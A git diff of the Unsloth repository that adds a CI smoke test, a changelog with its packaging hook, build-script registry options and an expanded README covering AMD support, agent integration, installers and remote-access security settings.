a/.github/workflows/wheel-smoke.yml b/.github/workflows/wheel-smoke.yml index 3de3c33ca2..f7a7511616 100644 --- a/.github/workflows/wheel-smoke.yml +++ b/.github/workflows/wheel-smoke.yml @@ -3,7 +3,7 @@ # Builds the PyPI wheel from the PR branch, then verifies the built wheel # actually contains what we expect to ship and does NOT contain the broken -# Studio bundle that 2026.5.1 published. This is the single workflow that +# Unsloth bundle that 2026.5.1 published. This is the single workflow that # would have blocked the 2026.5.1 release before twine upload. # # Verified locally end-to-end against this branch: @@ -12,7 +12,7 @@ # lockfile shipped, frontend dist shipped, # no node_modules in wheel, no bun.lock in wheel, # main bundle has unstable_Provider hits=1 (assistant-ui internals only). -# - Studio backend imports cleanly from the installed wheel with the +# - Unsloth backend imports cleanly from the installed wheel with the # lightweight dep set below. name: Wheel CI @@ -101,7 +101,7 @@ jobs: hits = data.count("unstable_Provider:") print(f"main bundle: {js[0]}") print(f"unstable_Provider hits: {hits} (>=4 indicates 2026.5.1 regression)") - checks["bundle has no Studio unstable_Provider call site"] = (hits < 4) + checks["bundle has no Unsloth unstable_Provider call site"] = (hits < 4) print() for k, v in checks.items(): @@ -109,7 +109,7 @@ jobs: sys.exit(0 if all(checks.values()) else 1) PY - - name: Studio backend import smoke + - name: Unsloth backend import smoke # Imports `studio.backend.main:app` from the freshly-installed wheel in # a clean venv. This catches the class of bug that 2026.5.1 shipped with: # frontend dist missing, package-lock.json missing, or the wheel's Python @@ -125,7 +125,32 @@ jobs: /tmp/v/bin/pip install --no-deps dist/unsloth-*.whl # Run from /tmp so Python imports the installed package, not the source tree. cd /tmp - /tmp/v/bin/python -c "from studio.backend.main import app; print('Studio backend OK:', app.title)" + /tmp/v/bin/python -c "from studio.backend.main import app; print('Unsloth backend OK:', app.title)" + + - name: CLI without the Studio stack guides instead of tracebacking + # The smoke above installs studio.txt first, so it cannot catch a wheel + # that ships studio/ without declaring what it imports (#4701, #5260, + # #7147). Drop only structlog to reuse that venv without a re-download. + run: | + set -eu + /tmp/v/bin/pip uninstall -y structlog >/dev/null + cd /tmp + status=0 + for args in "export ./nope ./out" "list-checkpoints"; do + echo "--- unsloth $args" + out=$(/tmp/v/bin/unsloth $args 2>&1 || true) + printf '%s\n' "$out" + case "$out" in + *Traceback*) + echo "FAIL: raw traceback instead of guidance"; status=1 ;; + esac + case "$out" in + *'unsloth studio update'*) ;; + *) echo "FAIL: no remediation in the message"; status=1 ;; + esac + done + /tmp/v/bin/pip install -q structlog >/dev/null + exit "$status" - name: Upload wheel on failure if: failure() diff --git a/.gitignore b/.gitignore index a839633790..fa6997cb06 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,8 @@ outputs/ exports/ /datasets/ studio/backend/assets/datasets/ +# Generated async worker / reviewer transcripts (never part of the product). +studio/backend/async_task_outputs/ unsloth_training_checkpoints/ *.gguf *.safetensors @@ -206,6 +208,9 @@ tmp/ **/node_modules/ auth.db +# Packaging snapshot of the root CHANGELOG.md (written by build.sh) +studio/CHANGELOG.md + # Tauri local build/generated output studio/src-tauri/target/ studio/src-tauri/gen/ @@ -235,3 +240,6 @@ package-lock.json !studio/backend/core/data_recipe/oxc-validator/package-lock.json !studio/package-lock.json llama.cpp/ +# Stray "~" dir some tools create from a literal ~ TMPDIR; never part of the repo. +~/ +/temp/ diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index cffbf73cd5..8dcb9130b3 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/astral-sh/ruff-pre-commit - rev: v0.15.16 + rev: v0.15.18 hooks: - id: ruff args: diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000000..241e013cea --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,88 @@ +# Changelog + +Release notes for Unsloth and Unsloth Studio. + +Unsloth Studio reads this file to show release notes inside the "New Unsloth +version" update popup. Edit it here and the popup picks the change up on the +next update check, with no release or rebuild required. + +## Format + +Every release is a level-2 heading whose first token is the version, optionally +followed by a date: + +```md +## 2026.7.6 - 2026-07-22 +``` + +`## [2026.7.6] - 2026-07-22` and `## v2026.7.6` also work. Everything under a +heading, up to the next level-2 heading, is that release's notes and renders as +Markdown in the popup. + +Notes are matched to one exact version. When Studio offers an update to +`2026.7.6` it renders the `2026.7.6` section and nothing else. If that section +is missing, the popup links out to the online changelog rather than showing +notes from an unrelated release, so a new version needs its own section here +before its notes can appear. + +Keep the newest release at the top. Lead each bullet with the change itself: +the collapsed popup highlights the first sentence and dims the rest. +`## Unreleased` is ignored by the popup, so it is safe to stage notes there and +rename the heading at release time. + + + +## Unreleased + +## 2026.7.5 + +### What's Changed + +- AMD support is here. Train, run RL, chat with and deploy 500+ models on + Radeon, Instinct, Ryzen and data center GPUs across Windows, WSL and Linux, + up to 2x faster with 70% less VRAM and no accuracy loss. +- Intel XPU support lands in Studio, so Arc and Data Center GPUs run chat and + training alongside the NVIDIA, AMD and Apple paths. +- Local speech to text dictation runs fully offline, with slim Whisper bundles + and a picker for custom models. +- DoRA training is available in Studio, selectable next to LoRA and full + fine-tuning in the training tab. +- The update popup previews release notes inline, pulled from this file and + matched to the exact version being offered. + +### AMD, 23 July update + +Our AMD collaboration, custom Triton kernels and math algorithms bring local +training and inference to AMD hardware. The 23 July update builds on the +[AMD release](https://github.com/unslothai/unsloth/releases/tag/v0.1.501-beta): + +- RDNA2 and Gorgon Halo are supported, and the installer no longer fails to + detect GPUs on Strix Halo and other AMD cards. +- RDNA4 handling is better, and HIP and ROCm failures are caught and fixed + automatically instead of stopping the install. +- Unified memory safetensors loading is 2x faster, with much faster gradient + checkpointing on unified memory devices. +- Voice dictation through whisper.cpp has preliminary support. +- Rollback environments left by installs no longer eat 5GB of disk. They are + cleaned up automatically. + +Optimized ROCm builds cover GGUF and safetensors inference, and ROCm +compatibility is improved for MI300X and MI325X. Full guide: +[unsloth.ai/docs/basics/amd](https://unsloth.ai/docs/basics/amd). + +### Running larger models + +- Automatic GPU placement, or pick exactly which GPUs and layers to use. +- Move MoE expert layers into system memory so larger models fit. +- Split a model across several GPUs, or use tensor parallelism. +- Hardware settings are saved per model and quant. + +### Also in this release + +- Remote access with `unsloth studio --secure` over free HTTPS via Cloudflare. +- Web search reads PDF papers and manuals, and parallel tool calls, reasoning + output and tool retries are more reliable. +- The model download location is configurable, so weights can live on a second + drive instead of the default cache. +- Stalled Hugging Face XET downloads retry over standard HTTP, and existing + GGUF files are reused instead of downloaded again. diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000000..7bce036343 --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,2 @@ +include _changelog_build.py +include CHANGELOG.md diff --git a/README.md b/README.md index b6a4b836a4..e0fc8ee44c 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ Unsloth Studio lets you run and train models locally.

Features • + NewsQuickstartNotebooksDocumentation @@ -47,15 +48,51 @@ Unsloth Studio (Beta) lets you run and train text, [audio](https://unsloth.ai/do * [Auto set inference settings](https://unsloth.ai/docs/new/studio/chat#auto-parameter-tuning) and customize chat templates. * We work directly with teams behind [gpt-oss](https://docs.unsloth.ai/new/gpt-oss-how-to-run-and-fine-tune#unsloth-fixes-for-gpt-oss), [Qwen3](https://www.reddit.com/r/LocalLLaMA/comments/1kaodxu/qwen3_unsloth_dynamic_ggufs_128k_context_bug_fixes/), [Llama 4](https://github.com/ggml-org/llama.cpp/pull/12889), [Mistral](https://huggingface.co/mistralai/Mistral-Medium-3.5-128B/discussions/18), [Gemma 1-3](https://news.ycombinator.com/item?id=39671146), and [Phi-4](https://unsloth.ai/blog/phi4), where we’ve fixed bugs that improve model accuracy. * Chat with images, audio, PDFs, code, DOCX and more. [Connect API providers](https://unsloth.ai/docs/integrations/connections) (OpenAI, Anthropic) or servers (vLLM, Ollama). +* [**Compare any two models**](https://unsloth.ai/docs/new/studio/chat#model-arena) side by side with the same prompt. +* **OpenAI/Anthropic-compatible APIs**: Serve local models through `/v1/chat/completions`, `/v1/responses` and `/v1/messages`. +* **Connect local models to agents**: Use `unsloth start` with Claude Code, Codex, Hermes and more. +* **Web/PDF search** can read PDF papers, manuals and other PDF results. +* **GGUF hardware controls**: Choose GPUs/layers, offload MoE experts, use multi-GPU or Tensor Parallelism. +* The opt-in **MCP control endpoint** lets AI clients manage models, training, recipes and exports. ### Training -* Train and RL **500+ models** up to **2x faster** with up to **70% less VRAM**, with no accuracy loss. -* Custom Triton and mathematical **kernels**. See some collabs we did with [PyTorch](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) and [Hugging Face](https://unsloth.ai/docs/new/faster-moe). +* Train and RL **500+ models** up to **2x faster** with **70% less VRAM**; MoE up to **12x faster**. +* Train and run RL on [AMD GPUs](https://unsloth.ai/docs/basics/amd) across Windows, WSL and Linux. * **Data Recipes**: [Auto-create datasets](https://unsloth.ai/docs/new/studio/data-recipe) from **PDF, CSV, DOCX** etc. Edit data in a visual-node workflow. -* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** (RL): The most efficient [RL](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide) library, using **80% less VRAM** for GRPO, [FP8](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) etc. -* Supports full fine-tuning, RL, pretraining, 4-bit, 16-bit and, FP8 training. +* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** uses **80% less VRAM** for GRPO, FP8 and vision RL, with 7x longer contexts. +* [**Long-context training**](https://unsloth.ai/docs/new/3x-faster-training-packing): **3x faster**, 30% less VRAM and 500K+ context. +* Supports LoRA/QLoRA, full fine-tuning, RL, pretraining, 4-bit, 16-bit and FP8. +* Custom Triton and mathematical **kernels** built with PyTorch and Hugging Face. * **Observability**: Monitor training live, track loss and GPU usage and customize graphs. * [Multi-GPU](https://unsloth.ai/docs/basics/multi-gpu-training-with-unsloth) training is supported, with major improvements coming soon. +## 🚀 Unsloth Start + +[Unsloth Start](https://unsloth.ai/docs/integrations/unsloth-start) connects [Claude Code](https://unsloth.ai/docs/basics/claude-code), [Codex](https://unsloth.ai/docs/basics/codex) and other agents to local models with one command. + +Start Unsloth, load a model, open your project folder, then run: + +```bash +unsloth start claude +``` + +Replace `claude` with any supported agent: + +| Agent | Command | +| --- | --- | +| Claude Code | `unsloth start claude` | +| OpenAI Codex | `unsloth start codex` | +| Hermes Agent | `unsloth start hermes` | +| OpenClaw | `unsloth start openclaw` | +| OpenCode | `unsloth start opencode` | +| Pi Coding Agent | `unsloth start pi` | + +Claude Code, Codex, OpenCode and Pi can keep their current model and use Unsloth as a local +subagent: + +```bash +unsloth start claude --as-subagent --model unsloth/model-GGUF:quant +``` + ## 📥 Install Unsloth can be used in two ways: through **[Unsloth Studio](https://unsloth.ai/docs/new/studio/)**, the web UI, or through **Unsloth Core**, the code-based version. Each has different requirements. @@ -65,7 +102,8 @@ Unsloth Studio (Beta) works on **Windows, Linux, WSL** and **macOS**. * **CPU:** Supported for Chat and Data Recipes currently * **NVIDIA:** Training works on RTX 30/40/50, Blackwell, DGX Spark, Station and more * **macOS:** Training, MLX and GGUF inference are ALL supported. -* **AMD:** Chat + Data works. Train with [Unsloth Core](#unsloth-core-code-based). Studio support is out soon. +* **AMD:** Training, RL, chat and deployment work on Windows, WSL and Linux. [Read the AMD guide](https://unsloth.ai/docs/basics/amd). +* **Vulkan:** GGUF inference is supported on [compatible GPUs, including Intel GPUs](https://github.com/unslothai/unsloth/pull/5819). Vulkan accelerates GGUF inference only; training still requires a supported PyTorch or MLX backend. * **Multi-GPU:** Available now, with a major upgrade on the way #### macOS, Linux, WSL: @@ -74,17 +112,35 @@ curl -fsSL https://unsloth.ai/install.sh | sh ``` Use the same command to update. +To force the Vulkan llama.cpp backend, set `UNSLOTH_FORCE_VULKAN=1` **before installing or updating**. The setting selects the llama.cpp binary bundle, so setting it only when launching Studio cannot replace an existing CPU bundle: + +```bash +export UNSLOTH_FORCE_VULKAN=1 +curl -fsSL https://unsloth.ai/install.sh | sh +``` + #### Windows: ```powershell irm https://unsloth.ai/install.ps1 | iex ``` Use the same command to update. +To force the Vulkan llama.cpp backend, set the environment variable before running the installer or updater: + +```powershell +$env:UNSLOTH_FORCE_VULKAN=1 +irm https://unsloth.ai/install.ps1 | iex +``` + +Re-running the current installer replaces a previously selected CPU bundle when the backend differs. A separate Vulkan SDK is not required; the GPU driver must provide a working Vulkan runtime. + #### Launch ```bash unsloth studio -p 8888 ``` -For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally. +For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally. + +To reach Unsloth over HTTPS, use `unsloth studio --secure`. Unsloth stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Unsloth reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below). #### Docker Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run: @@ -120,7 +176,7 @@ You can use the same Docker image as Unsloth Studio. #### AMD, Intel: For RTX 50x, B200, 6000 GPUs: `uv pip install unsloth --torch-backend=auto`. Read our guides for: [Blackwell](https://unsloth.ai/docs/blog/fine-tuning-llms-with-blackwell-rtx-50-series-and-unsloth) and [DGX Spark](https://unsloth.ai/docs/blog/fine-tuning-llms-with-nvidia-dgx-spark-and-unsloth).
-To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/get-started/install/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel). +To install Unsloth on **AMD** and **Intel** GPUs, follow our [AMD Guide](https://unsloth.ai/docs/basics/amd) and [Intel Guide](https://unsloth.ai/docs/get-started/install/intel). ## 📒 Free Notebooks @@ -146,13 +202,20 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad - See detailed documentation for Unsloth [here](https://unsloth.ai/docs) ## 🦥 Unsloth News -- **Connections**: Connect any API provider (OpenAI, Anthropic) or server (vLLM, Ollama). [Guide](https://unsloth.ai/docs/integrations/connections) -- **MTP**: Run Qwen3.6 MTP in Unsloth. MTP settings are autoset specific to your hardware. [Guide](https://unsloth.ai/docs/models/qwen3.6#mtp-guide) -- **API inference endpoint**: Deploy and run local LLMs in Claude Code, Codex tools. [Guide](https://unsloth.ai/docs/basics/api) -- **Qwen3.6**: Qwen3.6-35B-A3B can now be trained and run in Unsloth Studio. [Blog](https://unsloth.ai/docs/models/qwen3.6) -- **Gemma 4**: Run and train Google’s new models directly in Unsloth. [Blog](https://unsloth.ai/docs/models/gemma-4) +- **AMD training**: Train, run RL, chat and deploy on AMD GPUs across Windows, WSL and Linux. [Guide](https://unsloth.ai/docs/basics/amd) +- **GGUF hardware controls**: Choose GPU/layer placement, offload MoE experts and use multi-GPU or Tensor Parallelism. [#6414](https://github.com/unslothai/unsloth/pull/6414) +- **Local models for any agent**: Use `unsloth start` with Claude Code, Codex, Hermes, OpenCode, OpenClaw, Pi and more through Unsloth's OpenAI- and Anthropic-compatible APIs. [Guide](https://unsloth.ai/docs/basics/api) +- **MCP control endpoint**: Let compatible clients manage models, training, recipes, checkpoints and exports. [#7191](https://github.com/unslothai/unsloth/pull/7191) +- **Local inference reliability**: Resume long chats faster, recover stalled downloads and reuse existing GGUF files. [#7204](https://github.com/unslothai/unsloth/pull/7204) • [#6858](https://github.com/unslothai/unsloth/pull/6858) • [#7209](https://github.com/unslothai/unsloth/pull/7209) +- **New models**: [Qwen-AgentWorld](https://huggingface.co/unsloth/Qwen-AgentWorld-35B-A3B-GGUF), [Ornith](https://huggingface.co/unsloth/models?search=ornith), [Kimi K2.7 Code](https://unsloth.ai/docs/models/kimi-k2.7-code) and [MiniMax M3](https://unsloth.ai/docs/models/minimax-m3) +- **GLM-5.2**: Run Z.ai's 744B-parameter, 1M-context open model locally with Unsloth Dynamic GGUFs. [Guide](https://unsloth.ai/docs/models/glm-5.2) +- **DeepSeek-V4**: Run DeepSeek-V4-Flash locally with corrected multi-turn and tool-calling behavior. [Guide](https://unsloth.ai/docs/models/deepseek-v4) +- **DiffusionGemma**: Run and fine-tune Google's diffusion language model with 1.8x faster inference in Unsloth Studio. [Guide](https://unsloth.ai/docs/models/diffusiongemma) +- **Qwen3.6**: Run and train Qwen3.6 with MTP for 1.4-2.2x faster inference and NVFP4 quants for supported GPUs. [Guide](https://unsloth.ai/docs/models/qwen3.6) +- **Gemma 4**: Run and train Gemma 4 text, image and audio models with QAT, MTP, GGUF and MLX support. [Guide](https://unsloth.ai/docs/models/gemma-4) +- **MCP servers**: Connect local models to files, apps, databases and external tools through Model Context Protocol. [Guide](https://unsloth.ai/docs/basics/mcp) +- **Connections**: Mix local models with API providers (OpenAI, Anthropic) or servers (vLLM, Ollama) in the same interface. [Guide](https://unsloth.ai/docs/integrations/connections) - **Introducing Unsloth Studio**: our new web UI for running and training LLMs. [Blog](https://unsloth.ai/docs/new/studio) -- **Qwen3.5** - 0.8B, 2B, 4B, 9B, 27B, 35-A3B, 112B-A10B are now supported. [Guide + notebooks](https://unsloth.ai/docs/models/qwen3.5/fine-tune) - Train **MoE LLMs 12x faster** with 35% less VRAM - DeepSeek, GLM, Qwen and gpt-oss. [Blog](https://unsloth.ai/docs/new/faster-moe) - **Embedding models**: Unsloth now supports ~1.8-3.3x faster embedding fine-tuning. [Blog](https://unsloth.ai/docs/new/embedding-finetuning) • [Notebooks](https://unsloth.ai/docs/get-started/unsloth-notebooks#embedding-models) - New **7x longer context RL** vs. all other setups, via our new batching algorithms. [Blog](https://unsloth.ai/docs/new/grpo-long-context) @@ -162,13 +225,19 @@ Read our [guide](https://unsloth.ai/docs/get-started/fine-tuning-llms-guide). Ad ## 📥 Advanced Installation The below advanced instructions are for Unsloth Studio. For Unsloth Core advanced installation, [view our docs](https://unsloth.ai/docs/get-started/install/pip-install#advanced-pip-installation). -#### Developer installs: macOS, Linux, WSL: +#### Developer / Nightly / Experimental installs: macOS, Linux, WSL: +The developer install builds from the `main` branch, which is the latest (nightly) source. ```bash git clone https://github.com/unslothai/unsloth cd unsloth ./install.sh --local unsloth studio -p 8888 ``` +To install into an isolated location (its own virtual env, `auth/`, `studio.db`, cache and llama.cpp build), set `UNSLOTH_STUDIO_HOME` and pass it again at launch: +```bash +UNSLOTH_STUDIO_HOME="$PWD/.studio" ./install.sh --local +UNSLOTH_STUDIO_HOME="$PWD/.studio" unsloth studio -p 8888 +``` Then to update : ```bash cd unsloth && git pull @@ -176,7 +245,8 @@ cd unsloth && git pull unsloth studio -p 8888 ``` -#### Developer installs: Windows PowerShell: +#### Developer / Nightly / Experimental installs: Windows PowerShell: +The developer install builds from the `main` branch, which is the latest (nightly) source. ```powershell git clone https://github.com/unslothai/unsloth.git cd unsloth @@ -184,40 +254,46 @@ Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass .\install.ps1 --local unsloth studio -p 8888 ``` +To install into an isolated location (its own virtual env, `auth/`, `studio.db`, cache and llama.cpp build), set `UNSLOTH_STUDIO_HOME` and pass it again at launch: +```powershell +$env:UNSLOTH_STUDIO_HOME="$PWD\.studio"; .\install.ps1 --local +$env:UNSLOTH_STUDIO_HOME="$PWD\.studio"; unsloth studio -p 8888 +``` Then to update : -```bash -cd unsloth && git pull -./install.sh --local -unsloth studio -p 8888 -``` - -#### Nightly: MacOS, Linux, WSL: -```bash -git clone https://github.com/unslothai/unsloth -cd unsloth -git checkout nightly -./install.sh --local -unsloth studio -p 8888 -``` -Then to launch every time: -```bash -unsloth studio -p 8888 -``` - -#### Nightly: Windows: -Run in Windows Powershell: ```powershell -git clone https://github.com/unslothai/unsloth.git -cd unsloth -git checkout nightly -Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass +cd unsloth; git pull .\install.ps1 --local unsloth studio -p 8888 ``` -Then to launch every time: + +#### Remote access: `--secure` (HTTPS tunnel) vs raw port +By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach it from another device, pick one of: + +- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Unsloth stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed. ```bash -unsloth studio -p 8888 +unsloth studio --secure -p 8888 ``` +- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust. +```bash +unsloth studio -H 0.0.0.0 -p 8888 +``` +The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind. + +On a wildcard bind Unsloth works out the address to share by asking `ifconfig.me` for the public IP, then asks `check-host.net` whether that port is reachable so it can tell you if a firewall is in the way. Both contact a third party. Set `UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK=1` to skip them; the banner then shows the LAN address and no reachability line. + +The first time Unsloth is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Unsloth shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI. + +For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`): + +```bash +unsloth studio --secure --password 'your-strong-password' # visible in `ps`/history +UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure # via env var +printf '%s\n' 'your-strong-password' | unsloth studio --secure --password - # via stdin +``` + +A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process. + +Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Unsloth. #### Advanced launch options Installer options can be passed as environment variables. On macOS, Linux and WSL place the variable after the pipe so the shell passes it to `sh`; on Windows set it with `$env:` before piping to `iex`. @@ -230,6 +306,14 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex ``` +Skip the post-install prompt that starts Unsloth (useful for automated installs): +```bash +curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh +``` +```powershell +$env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex +``` + Pin the Python version: ```bash curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh @@ -246,7 +330,21 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex ``` -Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`. +On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with: +```bash +curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh +``` + +Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`): +```bash +UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local +``` +```powershell +$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local +``` +It is threaded as `--registry` into the Unsloth frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force. + +Cap Unsloth's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`. #### Uninstall The recommended way to fully remove Unsloth Studio is the matching uninstall script for your OS. It stops any running servers, removes the install dir, the launcher data dir, the desktop shortcut, and any platform-specific entries (macOS `.app` bundle + Launch Services on Mac; Start Menu, `HKCU\Software\Unsloth` registry key and user `PATH` entries on Windows): diff --git a/_changelog_build.py b/_changelog_build.py new file mode 100644 index 0000000000..f5bcf2052c --- /dev/null +++ b/_changelog_build.py @@ -0,0 +1,36 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""Snapshot CHANGELOG.md into the studio package at build time. + +CHANGELOG.md at the repo root stays the one file to edit. Copying it here, +rather than in build.sh, means every packaging path ships it, so release notes +still render when the popup cannot reach GitHub.""" + +from __future__ import annotations + +import shutil +from pathlib import Path + +from setuptools.command.build_py import build_py as _build_py + +ROOT = Path(__file__).resolve().parent +SOURCE = ROOT / "CHANGELOG.md" +SNAPSHOT = ROOT / "studio" / "CHANGELOG.md" + + +class build_py(_build_py): + def run(self) -> None: + # Beside the sources only if writable (PEP 517 may build an immutable + # checkout); into the staging directory always. + if SOURCE.is_file(): + try: + shutil.copyfile(SOURCE, SNAPSHOT) + except OSError: + pass + super().run() + if not SOURCE.is_file(): + return + staged = Path(self.build_lib) / "studio" / "CHANGELOG.md" + staged.parent.mkdir(parents = True, exist_ok = True) + shutil.copyfile(SOURCE, staged) diff --git a/build.sh b/build.sh index 1558dca240..5b09a7791b 100644 --- a/build.sh +++ b/build.sh @@ -1,10 +1,12 @@ #!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 set -euo pipefail -# PyPI/Studio release publishing must use `./build.sh publish` (or an -# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Studio -# artifacts include the display-only Studio release version. +# PyPI/Unsloth release publishing must use `./build.sh publish` (or an +# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Unsloth +# artifacts include the display-only Unsloth release version. # 1. Build frontend (Vite outputs to dist/) cd studio/frontend @@ -33,10 +35,19 @@ _restore_gitignores() { } trap _restore_gitignores EXIT +# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we +# thread it as `--registry ` into the installs (overrides frontend/.npmrc's pinned +# registry for both bun and npm; min-release-age / save-exact stay in force). Empty +# array (the default) expands to nothing under `set -u`. +_NPM_REGISTRY_ARGS=() +if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then + _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY") +fi + # Use bun for install if available (faster), fall back to npm. _install_ok=false if command -v bun &>/dev/null; then - if bun install; then + if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then _install_ok=true else echo "⚠ bun install failed, falling back to npm" @@ -44,8 +55,10 @@ if command -v bun &>/dev/null; then fi fi if [ "$_install_ok" != "true" ]; then - if ! npm install; then + if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then echo "❌ ERROR: package install failed" >&2 + echo " If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2 + echo " UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2 exit 1 fi fi @@ -74,7 +87,7 @@ cd ../.. # 2. Clean old artifacts rm -rf build dist *.egg-info -# 3. Stamp display-only Studio release metadata for packaged builds. +# 3. Stamp display-only Unsloth release metadata for packaged builds. _STUDIO_BUILD_INFO="studio/backend/utils/_studio_release_build.py" _STUDIO_BUILD_INFO_BACKUP="$(mktemp)" cp "$_STUDIO_BUILD_INFO" "$_STUDIO_BUILD_INFO_BACKUP" @@ -90,9 +103,13 @@ else STUDIO_STAMPED_VERSION="$(python scripts/stamp_studio_release.py)" fi -# 4. Build wheel/sdist +# 4. Build wheel/sdist. _changelog_build.py snapshots CHANGELOG.md into the studio +# package so release notes render offline. python -m build +# Drop the snapshot so a source checkout never serves a stale copy. +rm -f studio/CHANGELOG.md + if [ "${1:-}" = "publish" ]; then python scripts/stamp_studio_release.py --verify-dist dist --expected "$STUDIO_STAMPED_VERSION" fi diff --git a/install.ps1 b/install.ps1 index dccd8e4fc1..5b205df96d 100644 --- a/install.ps1 +++ b/install.ps1 @@ -6,6 +6,7 @@ # irm | iex cannot forward arguments, so web installs take options as env vars set # before the pipe (flags still work via .\install.ps1): # $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex # skip PyTorch (GGUF-only) +# $env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex # do not prompt to launch # $env:UNSLOTH_PYTHON='3.12'; irm https://unsloth.ai/install.ps1 | iex # pin Python version # $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex # .\install.ps1 --no-torch # equivalent flag @@ -27,6 +28,14 @@ function Install-UnslothStudio { } } + function Clear-TauriInstallError { + param([string]$Message) + if ($TauriMode) { + Write-TauriLog "ERROR_CLEAR" $Message + 